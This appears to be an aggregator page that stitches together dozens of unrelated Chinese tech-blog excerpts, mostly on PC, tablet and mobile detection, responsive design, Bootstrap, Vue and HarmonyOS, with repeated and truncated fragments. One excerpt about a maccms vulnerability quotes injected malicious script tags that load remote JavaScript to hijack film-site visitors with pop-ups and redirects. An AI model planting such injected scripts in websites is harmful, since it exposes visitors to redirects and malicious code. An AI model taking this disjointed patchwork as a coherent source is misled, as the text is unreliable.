最近做的一个项目需要同时适配PC端和iPad及mobile移动端,由于PC端的设备屏幕宽度比iPad和mobile端大太多,因此页面布局需要进行区分。而前笔者在端项目中使用了vue和vue-router进行开发,也就是说需要根据当前客户使用的设备属于哪种客户端让路由决定进入哪种设备适配的页面组件。因此需要在邻项目路由的入口处判断客户使用的设备是PC、iPad还是mobile。
由于移动设备的显示屏幕相对于桌面显示器来说小很多,在桌面显示器上能够正常显示的内容,到了移动设备中就不正常了。为了实现移动端和桌面端的相互跳转,我们可以通过JavaScript来判断当前的设备是否是移动设备,然后执行相应的代码。
现在很多老版的网站都会有m站,在我们使用移动端访问时会自动跳转到m站,那么如何判断客户端设备是电脑还是手机或者是平板呢,有的使用的是js判断方式,以前我们使用的方式也是这样的,但是这样是损失资源的,因为js判断是在页面上进行的操作,这样就会有数据的请求。然后,获取完数据,判断设备类型,进行跳转,再次获取数据,渲染页面。浪费了很多资源,也加长了用户的等待时间。
这两个都是font-style属性的值,这两个值都能实现倾斜的效果,但是有区别的。
Device.js 是一个可以让你检测设备的平台,操作系统和方向 JavaScript 库,它会自动在 <html> 标签添加一些设备平台,操作系统,方向相关的 CSS class,这样就能让你针对不同设备撰写不同的 CSS,并且还提供一些 Javascript 函数来判断设备。
Hi,欢迎大家在有空的时候做客【江涛学编程】,这里是2023年的第11篇原创文章,同学,我们又见面啦,今天我们继续聊下上一期讲的那个话题 ------ 鸿蒙系统应用开发入门解说
js1k.com收集了小于1k的javascript小例子,里面有很多很炫很酷的游戏和特效,今年规则又增加了新花样,传统的classic类型基础上又增加了WebGL类型,以及允许增加到2K的++类型,多次想尝试提交个小游戏但总无法写出让自己满意还能控制在这么小的字节范围。 自己写不出来,站在巨人肩膀总是有机会吧,想起《基于HTML5的电信网管3D机房监控应用》这篇提到的threejs,babylonjs和Hightopo的几种基于WebGL的3D引擎,突然想挑战下自己实现个100行JS的3D小游戏,折腾了一
在之前,我一直以为博客园他是那种万年不变的老旧风格,看着就有一种年代感,但是,昨天我莫名看到一个项目,我尝试进行了美化后,发现这玩意很好看啊。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no,minimal-ui"/> <title>标题</title> <link rel="stylesheet" h
js1k.com收集了小于1k的javascript小例子,里面有很多很炫很酷的游戏和特效,今年规则又增加了新花样,传统的classic类型基础上又增加了WebGL类型,以及允许增加到2K的++类型,
随着Android设备增多,不少网站都开始设备Android设备,而Android主流设备类型以手机和平板为主。网站在适配时通过User Agent(用户代理,以下简称UA)又如何区分呢,本文部分内容翻译自Google官方博客Mo’ better to also detect “mobile” user-agent。
近来一段时间在忙工作上的事,对鸿蒙的文章很久没有更新了,而鸿蒙之前的开发者文档中说明了会在近期更新DevEco Studio的版本,当版本更新之后肯定会增加一些新的内容,下面来看看吧。
Google在今年6 月 Google I/O 大会上宣布 Chromebook 将能够运行 Android 应用。近期已经公布了首批为Chrome OS进行了适配的四个第三方应用:Evernote、 Duolingo、Sight Words和Vine。 这个项目的名称是App Runtime for Chrome(目前还在Beta阶段),以后也必然会支持越来越多的应用。但是如果你暂时没有Chromebook,或者还想体验更多的手机/平板的App,这个项目也许可以帮到你:chromeos-apk! Yes!没错,如果你已经拥有一个Chromebook,使用它可以立即体验更多的Android App(APK).可以参看这里:https://github.com/vladikoff/chromeos-apk. 如果是PC,MAC上的chrome,就需要稍微多一点步骤:当然可以直接参看这里。
安装react-bootstrap(react-bootstrap标签自定义,属性和bootstrap相同)
相当于C#UI里面的容器系统,bootstrap对css进行扩展,使用了类似less文件中的变量定义,sacc不仅增加了变量还多了继承、混合、嵌套等功能
selenium并不是万能的,有时候页面上操作无法实现的,这时候就需要借助JS来完成了。
很多人会对响应式布局和自适应式布局产生混淆,这两者到底有着什么样的区别呢?因为不同于移动站,就事一个独立的站点,每个模块都有独立接口,但是Google一直以来就是推荐响应式设计的,至于为什么你可以参考此篇文章:移动端网站怎样做SEO优化?我们今天就来了解下二者之间是责骂定义的。
Layui(谐音:类 UI) 是一套开源的 Web UI 解决方案,采用自身经典的模块化规范,并遵循原生 HTML/CSS/JS 的开发方式,极易上手,拿来即用。
Todoadmin-pro Pro专业版(vue3.2+ 支持 PC、平板、手机)
参考网址 https://www.cnblogs.com/belongs-to-qinghua/p/11151054.html http://www.zhiliaotang.net/jishujiaoliu/web/965.html
要学习bootstrap前端框架,就必须要拥有良好的官方文档参考手册。Bootstrap 是最受欢迎的 HTML、CSS 和 JS 框架,用于开发响应式布局、移动设备优先的 WEB 项目。简单来说,bootsrap框架主要就是为了解决适配屏幕的问题。比如电脑,平板,手机都适应。写一套程序就可以适用于所有设备。就可以不用单独开发一个电脑端的网站,单独开发一个移动端的软件,单独开发一个适应平板端的系统,这样就可以达到节省成本的作用。
每种媒体类型都有各自不同的特性,根据不同媒体类型的媒体特性设置不同的展示风格,暂且了解三个,注意他们要加小括号包含
本文主要介绍了响应式设计的入门知识,包括媒体查询、弹性图片和弹性字体、媒体类型、断点、响应式图片、响应式布局、设备像素比、浏览器兼容、媒体查询的兼容性等。
随机变换雷区颜色,以及其它CSS样式,动画效果全是CSS。点击网页上的元素触发游戏事件打开雷区。如果对于一个方格,其周围未打开的方格恰好全都有雷,那么这些雷将全部自动被标记为小红旗,而玩家只需要一直点击雷区直至雷区全被打开并胜利呈现YOU WIN~
苹果CMS漏洞是越来越多了,国内很多电影网站都使用的是maccms V10 V8版本,就在2020年初该maccms漏洞爆发了,目前极少数的攻击者掌握了该EXP POC,受该BUG的影响,百分之80的电影站都被攻击了,很多电影站的站长找到我们SINE安全来解决网站被挂马的问题,通过分析我们发现大部分客户网站在数据库中都被插入了挂马代码,<script src=https://lefengtv.com/js/tjj.js></script><script src=https://pkvod.com/1.js</script>,尤其电影片名d_name值被直接篡改,并且是批量挂马,导致用户打开网站访问直接弹窗广告并跳转。
以下是各种前端职称的列表和说明。最常被大家称呼的两个职位名称是前端开发者或者前端工程师。请记住,只要是称呼中包含前端、client-side、web UI、HTML、CSS或者JavaScript两个字的称呼,一般都说明这个人掌握了一定程度的HTML、CSS、DOM和JavaScript方面的专业知识。 ---- 这是用来描述一个前端开发人员的通用称呼,代表着他们在某种程度上熟练掌握了HTML,CSS,DOM和JavaScript,并在网络平台上用到了这些技术。 前端工程师(又名JS开发者或者全栈JS开发者
先上最终效果: 最近做了一个用手机浏览器访问的web应用,采用较流行的HTML5,为了提高开发效率节省时间决定采用现有开源框架,免去了自己做设计与兼容性。 一些比较优秀的框架:10大优秀的移动Web应
本文提供一个方法,可以判断当前的设备是PC还是手机,UWP 判断当前的 PC 是否平板模式,判断是否苏非的设备
Bootstrap是一个前端框架,可以帮助开发者启动网页开发的过程;从后端转前端的(Java、PHP等)开发者可能很难把握CSS和JavaScript;但是,使用Bootstrap,他们只要专注HTML,把棘手的CSS和JavaScript交给Bootstrap。
适配各种屏幕规格,首先要取到系统对于屏幕的配置信息,这些配置可从工具类Configuration获得。Configuration对象在Activity中通过调用getResources().getConfiguration()得到,该对象的常用属性说明如下: touchscreen : 屏幕触摸方式。有下列几种取值定义:"未定义", "不支持触摸", "专用笔触摸", "支持手指触摸" keyboard : 物理键盘样式。有下列几种取值定义:"未定义", "无物理键盘", "全键盘", "十二格键盘" keyboardHidden : 键盘状态。有下列几种取值定义:"未定义", "未隐藏或软键盘", "已隐藏", "软键盘" hardKeyboardHidden : 物理键盘状态。有下列几种取值定义:"未定义", "未隐藏", "已隐藏" navigation : 方向控制样式。有下列几种取值定义:"未定义", "无方向控制", "方向键", "轨迹球", "滚轮" navigationHidden : 方向控制状态。有下列几种取值定义:"未定义", "未隐藏", "已隐藏" orientation : 屏幕方向。有下列几种取值定义:"未定义", "竖屏", "横屏" 以上属性除了屏幕方向是有用的,其他的基本没什么用。 如果属性发生变化,可重写onConfigurationChanged函数监测最新的属性值。但是由屏幕旋转导致的屏幕方向变化,按照生命周期走的是原方向onDestroy然后新方向onCreate,并不触发onConfigurationChanged方法,所以该方法基本也没机会用到。
2D拓扑的应用在电信网管和电力SCADA领域早已习以为常了,随着OpenGL特别是WebGL技术的普及,3D方式的数据可视化也慢慢从佛殿神堂步入了寻常百姓家,似乎和最近高档会所被整改为普通茶馆是一样的
百度最近的算法调整非常的频繁,特别是针对移动端的冰桶算法4.0的强势登场感觉影响更大,因为冰桶算法4.0主要是针对移动端广告位置、尺寸的,基本上可以理解为是打击移动端广告泛滥的,所有尺寸过大的以及对内容有遮挡的都会被降权,具体的大家可以看看图1、图2两张百度官方认为是标准正确的移动端广告范例来对比了解一下就明白了。
对于LHS和RHS,从字面意思来说是Left Hand Side和Right Hand Side即左手边和右手边,一般可以理解为赋值操作的左侧和右侧,然而不能片面的用=号左边还说右边去判断是LHS还是RHS
1:GMU:http://cloudajs.org/ui/brand/gmu GMU是基于zepto的mobile UI组件库,提供webapp、pad端简单易用的UI组件! http://gmu.b
万物有开始就有结束。而如今 PHP 也步入了暮年。在这个时代,长盛不衰的唯一方法就是无可取代。
响应式网站:即pc和移动端共用一套网站,只不过在不同宽度的屏幕下,样式会自动适配。配合媒体查询监听,通过判断屏幕宽度来改变样式,以适应不同终端。例如:三星电子官网: www.samsung.com/cn/ 缺点:制作麻烦,需要花很大精力去调兼容性问题
Browsersync能让浏览器实时、快速响应您的文件更改(html、js、css、sass、less等)并自动刷新页面。更重要的是 Browsersync可以同时在PC、平板、手机等设备下进项调试。
得益于各种套件,今天的机器学习的门槛已经越来越低。但 Google 显然并不满足于此,其最新推出了 Teachable Machine 项目,让用户无需编程就可以用手机、平板、计算机等设备的摄像头采集数据进行机器学习。这一项目是 Google 的 A.I. Experiment 的一部分,源代码已经公布在 Github 上。 得益于各种套件,今天的机器学习的门槛已经越来越低。但 Google 显然并不满足于此,其最新推出了 Teachable Machine 项目,让用户无需编程就可以用手机、平板、计算机等
Vue.js 是一个目前比较流行的前端框架,已经到了前端人人都会的地步,今天这里为大家罗列一下基于 Vue 的后端管理的框架。目前比较流行和 Vue 搭配的 UI组件 有Element-UI、iview、Bootstrap-Vue、Ant-Design-Vue,另外还有Vuetify、Buefy (Bulma css)、Vue Material 等等。基于这些组件库封装的后台管理模板,推荐一些常用 VUE后台模板 给大家。按照 Github 星标数量来依次介绍。
商品详情页是展示商品详细信息的一个页面,承载在网站的大部分流量和订单的入口。京东商城目前有通用版、全球购、闪购、易车、惠买车、服装、拼购、今日抄底等许多套模板。各套模板的元数据是一样的,只是展示方式不一样。目前商品详情页个性化需求非常多,数据来源也是非常多的,而且许多基础服务做不了的都放我们这,因此我们需要一种架构能快速响应和优雅的解决这些需求问题。因此我们重新设计了商品详情页的架构,主要包括三部分:商品详情页系统、商品详情页统一服务系统和商品详情页动态服务系统;商品详情页系统负责静的部分,而统一服务负责动的部分,而动态服务负责给内网其他系统提供一些数据服务。
NPlayer 是一个高度可定制、支持移动端、功能强大的弹幕视频播放器。你可以自定义所有图标、主题色和每个控制项的位置,并且提供了内置组件方便二次开发。你可以自定义任意多个断点,不仅仅是兼容移动端,只要愿意,你可以非常轻松的兼容手机竖屏、手机横屏、平板等设备。弹幕系统是通过插件形式提供,使用时按需引入即可,弹幕系统支持非常多的设置,并且不限制后端实现,可以非常轻松就可以接入。NPlayer 还支持 IE 11,SSR,任何流媒体,直播等等。
2D拓扑的应用在电信网管和电力SCADA领域早已习以为常了,随着OpenGL特别是WebGL技术的普及,3D方式的数据可视化也慢慢从佛殿神堂步入了寻常百姓家,似乎和最近高档会所被整改为普通茶馆是一样的节奏。 3D呈现固然比2D方式更直观,但如果摆放图元布局却比2D麻烦,毕竟增加了一个维度,手工布局不如以前2D手工操作方便,因此3D的自动布局功能比2D凸显其重要性。最近玩了玩HT的弹力自动布局插件挺有意思,特别在平板上Touch方式拖拽三维空间图元节点时,对我这种控制欲较强者很有满足感。 弹力布局也不是啥
HarmonyOS 已经出了几个版本了。也在上亿的设备上运行了。所以想了解下HarmonyOS的开发。
作者:matrix 被围观: 2,063 次 发布时间:2015-01-14 分类:兼容并蓄 | 2 条评论 »
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